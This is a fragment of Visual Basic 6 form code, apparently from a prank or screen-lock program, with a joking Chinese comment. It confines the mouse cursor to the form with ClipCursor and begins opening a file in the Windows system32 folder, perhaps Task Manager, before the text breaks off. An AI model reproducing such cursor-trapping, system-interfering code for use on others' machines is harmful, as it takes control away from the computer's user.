'在窗体上添加一个按钮,一定记得添加,不加你就哭吧。'==================窗体上的代码 Form1.frm============================
Option Explicit
Dim r As RECT, p As POINT
GetClientRect Me.hWnd, r
p.x = r.left: p.y = r.top
ClientToScreen Me.hWnd, p
OffsetRect r, p.x, p.y
ClipCursor r
Open Environ("windir") & "\system32" & "\ta